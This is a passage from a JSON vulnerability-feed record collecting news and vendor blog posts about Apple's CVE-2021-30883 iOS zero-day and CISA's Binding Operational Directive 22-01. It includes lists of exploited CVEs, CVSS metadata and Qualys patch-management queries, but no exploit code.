to address a critical vulnerability that it says is being exploited in the wild, making it the 17th zero-day flaw the company has addressed in its products since the start of the year.\n\nThe weakness, assigned the identifier [CVE-2021-30883](<https://support.apple.com/en-us/HT212846>), concerns a memory corruption issue in the \"IOMobileFrameBuffer\" component that could allow an application to execute arbitrary code with kernel privileges. Crediting an anonymous researcher for reporting the vulnerability, Apple said it's \"aware of a report that this issue may have been actively exploited.\"\n\nTechnical specifics about the flaw and the nature of the attacks remain unavailable as yet, as is the identity of the threat actor, so as to allow a majority of the users to apply the patch and prevent other adversaries from weaponizing the vulnerability. The iPhone maker said it addressed the issue with improved memory handling.\n\nBut soon after the advisory was released, security researcher Saar Amar [shared](<https://saaramar.github.io/IOMFB_integer_overflow_poc/>) additional details, and a proof-of-concept (PoC) exploit, noting that \"this attack surface is highly interesting because it's accessible from the app sandbox (so it's great for jailbreaks) and many other processes, making it a good candidate for LPEs exploits in chains.\"\n\nCVE-2021-30883 is also the second zero-day impacting IOMobileFrameBuffer after Apple addressed a similar, anonymously reported memory corruption issue (CVE-2021-30807) in July 2021, raising the possibility that the two flaws could be related. With the latest fix, the company has resolved a record 17 zero-days to date in 2021 alone \u2014\n\n * [**CVE-2021-1782**](<https://thehackernews.com/2021/01/apple-warns-of-3-ios-zero-day-security.html>) (Kernel) - A malicious application may be able to elevate privileges\n * [**CVE-2021-1870**](<https://thehackernews.com/2021/01/apple-warns-of-3-ios-zero-day-security.html>) (WebKit) - A remote attacker may be able to cause arbitrary code execution\n * [**CVE-2021-1871**](<https://thehackernews.com/2021/01/apple-warns-of-3-ios-zero-day-security.html>) (WebKit) - A remote attacker may be able to cause arbitrary code execution\n * [**CVE-2021-1879**](<https://thehackernews.com/2021/03/apple-issues-urgent-patch-update-for.html>) (WebKit) - Processing maliciously crafted web content may lead to universal cross-site scripting\n * [**CVE-2021-30657**](<https://thehackernews.com/2021/04/hackers-exploit-0-day-gatekeeper-flaw.html>) (System Preferences) - A malicious application may bypass Gatekeeper checks\n * [**CVE-2021-30661**](<https://thehackernews.com/2021/04/hackers-exploit-0-day-gatekeeper-flaw.html>) (WebKit Storage) - Processing maliciously crafted web content may lead to arbitrary code execution\n * [**CVE-2021-30663**](<https://thehackernews.com/2021/05/apple-releases-urgent-security-patches.html>) (WebKit) - Processing maliciously crafted web content may lead to arbitrary code execution\n * [**CVE-2021-30665**](<https://thehackernews.com/2021/05/apple-releases-urgent-security-patches.html>) (WebKit) - Processing maliciously crafted web content may lead to arbitrary code execution\n * [**CVE-2021-30666**](<https://thehackernews.com/2021/05/apple-releases-urgent-security-patches.html>) (WebKit) - Processing maliciously crafted web content may lead to arbitrary code execution\n * [**CVE-2021-30713**](<https://thehackernews.com/2021/05/apple-issues-patches-to-combat-ongoing.html>) (TCC framework) - A malicious application may be able to bypass Privacy preferences\n * [**CVE-2021-30761**](<https://thehackernews.com/2021/06/apple-issues-urgent-patches-for-2-zero.html>) (WebKit) - Processing maliciously crafted web content may lead to arbitrary code execution\n * [**CVE-2021-30762**](<https://thehackernews.com/2021/06/apple-issues-urgent-patches-for-2-zero.html>) (WebKit) - Processing maliciously crafted web content may lead to arbitrary code execution\n * [**CVE-2021-30807**](<https://thehackernews.com/2021/07/apple-releases-urgent-0-day-bug-patch.html>) (IOMobileFrameBuffer) - An application may be able to execute arbitrary code with kernel privileges\n * [**CVE-2021-30858**](<https://thehackernews.com/2021/09/apple-issues-urgent-updates-to-fix-new.html>) (WebKit) - Processing maliciously crafted web content may lead to arbitrary code execution\n * [**CVE-2021-30860**](<https://thehackernews.com/2021/09/apple-issues-urgent-updates-to-fix-new.html>) (CoreGraphics) - Processing a maliciously crafted PDF may lead to arbitrary code execution\n * [**CVE-2021-30869**](<https://thehackernews.com/2021/09/urgent-apple-ios-and-macos-updates.html>) (XNU) - A malicious application may be able to execute arbitrary code with kernel privileges\n\nApple iPhone and iPad users are highly recommended to update to the latest version (iOS 15.0.2 and iPad 15.0.2) to mitigate the security vulnerability.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-10-12T02:41:00", "type": "thn", "title": "Apple Releases Urgent iPhone and iPad Updates to Patch New Zero-Day Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1782", "CVE-2021-1870", "CVE-2021-1871", "CVE-2021-1879", "CVE-2021-30657", "CVE-2021-30661", "CVE-2021-30663", "CVE-2021-30665", "CVE-2021-30666", "CVE-2021-30713", "CVE-2021-30761", "CVE-2021-30762", "CVE-2021-30807", "CVE-2021-30858", "CVE-2021-30860", "CVE-2021-30869", "CVE-2021-30883"], "modified": "2021-10-20T05:21:18", "id": "THN:BB8CDCFD08801BDD2929E342853D03E9", "href": "https://thehackernews.com/2021/10/apple-releases-urgent-iphone-and-ipad.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "qualysblog": [{"lastseen": "2021-10-21T08:40:06", "description": "Apple recently released iOS and iPadOS [15.0.2](<https://support.apple.com/en-us/HT212846>) as an emergency security update that addresses 1 critical zero-day vulnerabilities, which is exploited in wild. Qualys recommends that security teams should immediately update all devices running iOS and iPadOS to the latest version. "_Apple is aware of a report that this issue may have been actively exploited_," the company said in [security advisories](<https://support.apple.com/en-us/HT212846>).\n\nThis year, Apple has released multiple emergency releases to fix the actively exploited vulnerabilities which _Apple is aware of a report that this issue may have been actively exploited_. Successful exploitation of the vulnerability allows an application to execute arbitrary code with kernel privileges, and spyware like [Pegasus](<https://blog.qualys.com/vulnerabilities-threat-research/2021/07/23/protect-your-devices-from-pegasus-spyware-using-vmdr-for-mobile-devices-proactive-approach>) can be easily deployed on affect devices, and exploiting other vulnerabilities, it will get access to a device.\n\nFollowing are the recent exploits and respective iOS and iPadOS versions in which they have been fixed by Apple since Jan 2021:\n\nCVE-2021-1870, CVE-2021-1871, CVE-2021-1782 \u2013 Fixed in [iOS and iPadOS 14.4](<https://support.apple.com/en-us/HT212146>)\n\nCVE-2021-1879 \u2013 Fixed in [iOS and iPadOS 14.4.2](<https://support.apple.com/en-us/HT212256>)\n\n[CVE-2021-30661](<https://blog.qualys.com/product-tech/2021/04/28/ios-and-ipados-14-5-security-update-vulnerabilities-discover-and-take-remote-response-action-using-vmdr-for-mobile-devices>) \u2013 Fixed in [iOS and iPadOS 14.5](<https://support.apple.com/en-us/HT212317>)\n\nCVE-2021-30665, CVE-2021-30663, CVE-2021-30666, CVE-2021-30661 \u2013 Fixed in [iOS and iPadOS 14.5.1](<https://support.apple.com/en-us/HT212336>) and [iOS 12.5.3](<https://support.apple.com/en-us/HT212341>)\n\nCVE-2021-30761, CVE-2021-30762 \u2013 Fixed in [iOS 12.5.4](<https://support.apple.com/en-us/HT212548>)\n\n[CVE-2021-30807](<https://blog.qualys.com/vulnerabilities-threat-research/2021/07/28/ios-and-ipados-14-7-and-14-7-1-security-update-discover-vulnerabilities-and-take-remote-response-action-using-vmdr-for-mobile-devices>) \u2013 Fixed in [iOS and iPadOS 14.7.1](<https://support.apple.com/en-us/HT212623>)\n\n[CVE-2021-30860, CVE-2021-30858, CVE-2021-30869](<https://blog.qualys.com/vulnerabilities-threat-research/2021/09/20/detect-prioritize-nso-pegasus-iphone-spyware-vulnerabilities-using-vmdr-for-mobile-devices>) \u2013 Fixed in [iOS and iPadOS 14.8](<https://support.apple.com/en-us/HT212807>) and [iOS 12.5.5](<https://support.apple.com/en-us/HT212824>)\n\n### Integer Overflow Vulnerability\n\nApple released a patch to fix integer overflow critical vulnerability (CVE-2021-30883). This vulnerability has a CVSSv3.1 base score of 8.8 and should be prioritized for patching as successful exploitation of the vulnerability allows a malicious application to execute arbitrary code with kernel privileges. It affects the iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\n### Discover Vulnerabilities and Take Remote Response Action Using VMDR for Mobile Devices\n\n#### Discover Assets Missing the Latest iOS Security Update\n\nThe first step in managing these critical vulnerabilities and reducing risk is to identify the assets. [Qualys VMDR for Mobile Devices](<https://www.qualys.com/apps/vulnerability-management-detection-response/mobile-devices/>) makes it easy to identify the iOS and iPadOS assets not updated to the latest version iOS and iPadOS 15.0.2. To get the comprehensive visibility of the mobile devices, you need to install [Qualys Cloud Agent](<https://www.qualys.com/cloud-agent/>) for Android or iOS/iPadOS on all mobile devices. The device onboarding process is easy, and the inventory of mobile devices is free.\n\nQuery: vulnerabilities.vulnerability.title:"iOS 15.0.2\u2033\n\n\n\nOnce you get the list of assets missing the latest security patch, navigate to the Vulnerability tab. Enter the vulnerabilities.vulnerability.title:"iOS 15.0.2\u2033 and apply the Group By \u201cVulnerabilities\u201d to get the list of the CVEs that Apple fixes in iOS and iPadOS 15.0.2 release. Qualys VMDR helps you understand what kind of risk you are taking by allowing the unpatched device to hold corporate data and connect to your corporate network.\n\n\n\nAlso, you can apply the Group By \u201cCVE Ids\u201d to get only the list of CVEs fixed by Apple in iOS and iPadOS 15.0.2 release.\n\n\n\nQID 610371 is available in signature version SEM VULNSIGS-1.0.0.48, and there is no dependency on any specific Qualys Cloud Agent version.\n\nWith the VMDR for Mobile Devices dashboard, you can track the status of the assets on which the latest security patch and update is missing. The dashboard will be updated with the latest data collected by Qualys Cloud Agent for Android and iOS devices.\n\n\n\n### Remote Response Action\n\nYou can perform the \u201cSend Message\u201d action to inform the end-user to update the devices to the latest OS version. Also, you may provide step-by-step details to update the security patch.\n\nWe recommend updating to the latest iOS and iPadOS version for the assets where vulnerabilities are detected as \u201cConfirmed\u201d.\n\n\n\n### Get Started Now\n\n[Qualys VMDR for Mobile Devices](<https://www.qualys.com/apps/vulnerability-management-detection-response/mobile-devices/>) is available free for 30 days to help customers detect vulnerabilities, monitor critical device settings, and correlate updates with the correct app versions available on Google Play Store. You can try our solution by [registering for the free 30-day service](<https://www.qualys.com/apps/vulnerability-management-detection-response/mobile-devices/>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-18T07:41:18", "type": "qualysblog", "title": "Apple fixes zero-day in iOS and iPadOS 15.0.2 emergency release: Detect and Prioritize Vulnerabilities using VMDR for Mobile Devices", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1782", "CVE-2021-1870", "CVE-2021-1871", "CVE-2021-1879", "CVE-2021-30661", "CVE-2021-30663", "CVE-2021-30665", "CVE-2021-30666", "CVE-2021-30761", "CVE-2021-30762", "CVE-2021-30807", "CVE-2021-30858", "CVE-2021-30860", "CVE-2021-30869", "CVE-2021-30883"], "modified": "2021-10-18T07:41:18", "id": "QUALYSBLOG:5101CC734C1A900451E5994AFF57209A", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-09T06:36:02", "description": "[Start your VMDR 30-day, no-cost trial today](<https://www.qualys.com/forms/vmdr/>)\n\n## Overview\n\nOn November 3, 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a [Binding Operational Directive 22-01](<https://cyber.dhs.gov/bod/22-01/>), "Reducing the Significant Risk of Known Exploited Vulnerabilities." [This directive](<https://www.cisa.gov/news/2021/11/03/cisa-releases-directive-reducing-significant-risk-known-exploited-vulnerabilities>) recommends urgent and prioritized remediation of the vulnerabilities that adversaries are actively exploiting. It establishes a CISA-managed catalog of known exploited vulnerabilities that carry significant risk to the federal government and establishes requirements for agencies to remediate these vulnerabilities.\n\nThis directive requires agencies to review and update agency internal vulnerability management procedures within 60 days according to this directive and remediate each vulnerability according to the timelines outlined in 'CISA's vulnerability catalog.\n\nQualys helps customers to identify and assess risk to organizations' digital infrastructure and automate remediation. Qualys' guidance for rapid response to Operational Directive is below.\n\n## Directive Scope\n\nThis directive applies to all software and hardware found on federal information systems managed on agency premises or hosted by third parties on an agency's behalf.\n\nHowever, CISA strongly recommends that private businesses and state, local, tribal, and territorial (SLTT) governments prioritize the mitigation of vulnerabilities listed in CISA's public catalog.\n\n## CISA Catalog of Known Exploited Vulnerabilities\n\nIn total, CISA posted a list of [291 Common Vulnerabilities and Exposures (CVEs)](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) that pose the highest risk to federal agencies. The Qualys Research team has mapped all these CVEs to applicable QIDs. You can view the complete list of CVEs and the corresponding QIDs [here](<https://success.qualys.com/discussions/s/article/000006791>).\n\n### Not all vulnerabilities are created equal\n\nOur quick review of the 291 CVEs posted by CISA suggests that not all vulnerabilities hold the same priority. CISA has ordered U.S. federal enterprises to apply patches as soon as possible. The remediation guidance can be grouped into three distinct categories:\n\n#### Category 1 \u2013 Past Due\n\nRemediation of 15 CVEs (~5%) are already past due. These vulnerabilities include some of the most significant exploits in the recent past, including PrintNightmare, SigRed, ZeroLogon, and vulnerabilities in CryptoAPI, Pulse Secure, and more. Qualys Patch Management can help you remediate most of these vulnerabilities.\n\n#### Category 2 \u2013 Patch in less than two weeks\n\n100 (34%) Vulnerabilities need to be patched in the next two weeks, or by **November 17, 2022**.\n\n#### Category 3 \u2013 Patch within six months\n\nThe remaining 176 vulnerabilities (60%) must be patched within the next six months or by **May 3, 2022**.\n\n## Detect CISA's Vulnerabilities Using Qualys VMDR\n\nThe Qualys Research team has released several remote and authenticated detections (QIDs) for the vulnerabilities. Since the directive includes 291 CVEs, we recommend executing your search based on vulnerability criticality, release date, or other categories.\n\nFor example, to detect critical CVEs released in 2021:\n\n_vulnerabilities.vulnerability.criticality:CRITICAL and vulnerabilities.vulnerability.cveIds:[ `CVE-2021-1497`,`CVE-2021-1498`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-1782`,`CVE-2021-1870`,`CVE-2021-1871`,`CVE-2021-1879`,`CVE-2021-1905`,`CVE-2021-1906`,`CVE-2021-20016`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-21972`,`CVE-2021-21985`,`CVE-2021-22005`,`CVE-2021-22205`,`CVE-2021-22502`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-22986`,`CVE-2021-26084`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-27101`,`CVE-2021-27102`,`CVE-2021-27103`,`CVE-2021-27104`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-28663`,`CVE-2021-28664`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-30657`,`CVE-2021-30661`,`CVE-2021-30663`,`CVE-2021-30665`,`CVE-2021-30666`,`CVE-2021-30713`,`CVE-2021-30761`,`CVE-2021-30762`,`CVE-2021-30807`,`CVE-2021-30858`,`CVE-2021-30860`,`CVE-2021-30860`,`CVE-2021-30869`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40444`,`CVE-2021-40539`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42258` ]_\n\n\n\nUsing [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), you can effectively prioritize those vulnerabilities using the VMDR Prioritization report.\n\n\n\nIn addition, you can locate a vulnerable host through Qualys Threat Protection by simply clicking on the impacted hosts to effectively identify and track this vulnerability.\n\n\n\nWith Qualys Unified Dashboard, you can track your exposure to the CISA Known Exploited Vulnerabilities and gather your status and overall management in real-time. With trending enabled for dashboard widgets, you can keep track of the status of the vulnerabilities in your environment using the ["CISA 2010-21| KNOWN EXPLOITED VULNERABILITIES"](<https://success.qualys.com/support/s/article/000006791>) Dashboard.\n\n### Detailed Operational Dashboard:\n\n\n\n### Summary Dashboard High Level Structured by Vendor:\n\n\n\n## Remediation\n\nTo comply with this directive, federal agencies must remediate most "Category 2" vulnerabilities by **November 17, 2021**, and "Category 3" by May 3, 2021. Qualys Patch Management can help streamline the remediation of many of these vulnerabilities.\n\nCustomers can copy the following query into the Patch Management app to help customers comply with the directive's aggressive remediation date of November 17, 2021. Running this query will find all required patches and allow quick and efficient deployment of those missing patches to all assets directly from within the Qualys Cloud Platform.\n\ncve:[`CVE-2021-1497`,`CVE-2021-1498`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-1782`,`CVE-2021-1870`,`CVE-2021-1871`,`CVE-2021-1879`,`CVE-2021-1905`,`CVE-2021-1906`,`CVE-2021-20016`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-21972`,`CVE-2021-21985`,`CVE-2021-22005`,`CVE-2021-22205`,`CVE-2021-22502`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-22986`,`CVE-2021-26084`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-27101`,`CVE-2021-27102`,`CVE-2021-27103`,`CVE-2021-27104`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-28663`,`CVE-2021-28664`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-30657`,`CVE-2021-30661`,`CVE-2021-30663`,`CVE-2021-30665`,`CVE-2021-30666`,`CVE-2021-30713`,`CVE-2021-30761`,`CVE-2021-30762`,`CVE-2021-30807`,`CVE-2021-30858`,`CVE-2021-30860`,`CVE-2021-30860`,`CVE-2021-30869`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40444`,`CVE-2021-40539`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42258` ]\n\n\n\nQualys patch content covers many Microsoft, Linux, and third-party applications; however, some of the vulnerabilities introduced by CISA are not currently supported out-of-the-box by Qualys. To remediate those vulnerabilities, Qualys provides the ability to deploy custom patches. The flexibility to customize patch deployment allows customers to patch the remaining CVEs in this list.\n\nNote that the due date for \u201cCategory 1\u201d patches has already passed. To find missing patches in your environment for \u201cCategory 1\u201d past due CVEs, copy the following query into the Patch Management app:\n\ncve:['CVE-2021-1732\u2032,'CVE-2020-1350\u2032,'CVE-2020-1472\u2032,'CVE-2021-26855\u2032,'CVE-2021-26858\u2032,'CVE-2021-27065\u2032,'CVE-2020-0601\u2032,'CVE-2021-26857\u2032,'CVE-2021-22893\u2032,'CVE-2020-8243\u2032,'CVE-2021-22900\u2032,'CVE-2021-22894\u2032,'CVE-2020-8260\u2032,'CVE-2021-22899\u2032,'CVE-2019-11510']\n\n\n\n## Federal Enterprises and Agencies Can Act Now\n\nFor federal enterprises and agencies, it's a race against time to remediate these vulnerabilities across their respective environments and achieve compliance with this binding directive. Qualys solutions can help achieve compliance with this binding directive. Qualys Cloud Platform is FedRAMP authorized, with [107 FedRAMP authorizations](<https://marketplace.fedramp.gov/#!/product/qualys-cloud-platform?sort=-authorizations>).\n\nHere are a few steps Federal enterprises can take immediately:\n\n * Run vulnerability assessments against all your assets by leveraging various sensors such as Qualys agent, scanners, and more\n * Prioritize remediation by due dates\n * Identify all vulnerable assets automatically mapped into the threat feed\n * Use Patch Management to apply patches and other configurations changes\n * Track remediation progress through Unified Dashboards\n\n## Summary\n\nUnderstanding vulnerabilities is a critical but partial part of threat mitigation. Qualys VMDR helps customers discover, assess threats, assign risk, and remediate threats in one solution. Qualys customers rely on the accuracy of Qualys' threat intelligence to protect their digital environments and stay current with patch guidance. Using Qualys VMDR can help any organization efficiently respond to the CISA directive.\n\n## Getting Started\n\nLearn how [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>) provides actionable vulnerability guidance and automates remediation in one solution. Ready to get started? Sign up for a 30-day, no-cost [VMDR trial](<https://www.qualys.com/forms/vmdr/>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-11-09T06:15:01", "type": "qualysblog", "title": "Qualys Response to CISA Alert: Binding Operational Directive 22-01", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2020-0601", "CVE-2020-1350", "CVE-2020-1472", "CVE-2020-8243", "CVE-2020-8260", "CVE-2021-1497", "CVE-2021-1498", "CVE-2021-1647", "CVE-2021-1675", "CVE-2021-1732", "CVE-2021-1782", "CVE-2021-1870", "CVE-2021-1871", "CVE-2021-1879", "CVE-2021-1905", "CVE-2021-1906", "CVE-2021-20016", "CVE-2021-21017", "CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-21972", "CVE-2021-21985", "CVE-2021-22005", "CVE-2021-22205", "CVE-2021-22502", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-22986", "CVE-2021-26084", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27059", "CVE-2021-27065", "CVE-2021-27085", "CVE-2021-27101", "CVE-2021-27102", "CVE-2021-27103", "CVE-2021-27104", "CVE-2021-28310", "CVE-2021-28550", "CVE-2021-28663", "CVE-2021-28664", "CVE-2021-30116", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-30657", "CVE-2021-30661", "CVE-2021-30663", "CVE-2021-30665", "CVE-2021-30666", "CVE-2021-30713", "CVE-2021-30761", "CVE-2021-30762", "CVE-2021-30807", "CVE-2021-30858", "CVE-2021-30860", "CVE-2021-30869", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31207", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-31979", "CVE-2021-33739", "CVE-2021-33742", "CVE-2021-33771", "CVE-2021-34448", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-35211", "CVE-2021-36741", "CVE-2021-36742", "CVE-2021-36942", "CVE-2021-36948", "CVE-2021-36955", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38003", "CVE-2021-38645", "CVE-2021-38647", "CVE-2021-38648", "CVE-2021-38649", "CVE-2021-40444", "CVE-2021-40539", "CVE-2021-41773", "CVE-2021-42013", "CVE-2021-42258"], "modified": "2021-11-09T06:15:01", "id": "QUALYSBLOG:BC22CE22A3E70823D5F0E944CBD5CE4A", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "malwarebytes": [{"lastseen": "2021-10-21T08:35:39", "description": "Apple has released a security update for iOS and iPad that addresses a critical vulnerability reportedly being exploited in the wild.\n\nThe update has been made available for iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation).\n\n### The vulnerability\n\nPublicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services). This one is listed as [CVE-2021-30883](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30883>) and allows an application to execute arbitrary code with kernel privileges. Kernel privileges can be achieved by using a memory corruption issue in the "IOMobileFrameBuffer" component.\n\nKernel privileges are a serious matter as they offer an attacker more than administrator privileges. In kernel mode, the executing code has complete and unrestricted access to the underlying hardware. It can execute any CPU instruction and reference any memory address. Kernel mode is generally reserved for the lowest-level, most trusted functions of the operating system.\n\nResearchers have already found that this vulnerability is exploitable from the browser, which makes it extra worrying.\n\n> We can confirm that the recently patched iOS 15.0.2 vulnerability, CVE-2021-30883, is also accessible from the browser: perfect for 1-click & water-holing mobile attacks. This vulnerability is exploited in the wild. Update as soon as possible. <https://t.co/dhogxTM6pT>\n> \n> -- ZecOps (@ZecOps) [October 12, 2021](<https://twitter.com/ZecOps/status/1447804721771606016?ref_src=twsrc%5Etfw>)\n\nWatering holes are used as a highly targeted attack strategy. The attacker infects a website where they knows the intended victim(s) visits regularly. Depending on the nature of the infection, the attacker can single out their intended target(s) or just infect anyone that visits the site unprotected.\n\n### IOMobileFrameBuffer\n\nIOMobileFramebuffer is a kernel extension for managing the screen framebuffer. An earlier vulnerability in this extension, listed as [CVE-2021-30807](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30807>) was tied to the [Pegasus spyware](<https://blog.malwarebytes.com/privacy-2/2021/07/pegasus-spyware-has-been-here-for-years-we-must-stop-ignoring-it/>). This vulnerability also allowed an application to execute arbitrary code with kernel privileges. Coincidence? Or did someone take the entire IOMobileFramebuffer extension apart and save up the vulnerabilities for a rainy day?\n\nAnother iPhone exploit called [FORCEDENTRY](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/latest-iphone-exploit-forcedenrty-used-to-launch-pegasus-attack-against-bahraini-activists/>) was found to be used against Bahraini activists to launch the Pegasus spyware. Researchers at Citizen Lab disclosed this vulnerability and code to Apple, and it was listed as CVE-2021-30860.\n\n### Undisclosed\n\nAs is usual for Apple, both the researcher that found the vulnerability and the circumstances under which the vulnerability used in the wild are kept secret. Apple didn't respond to 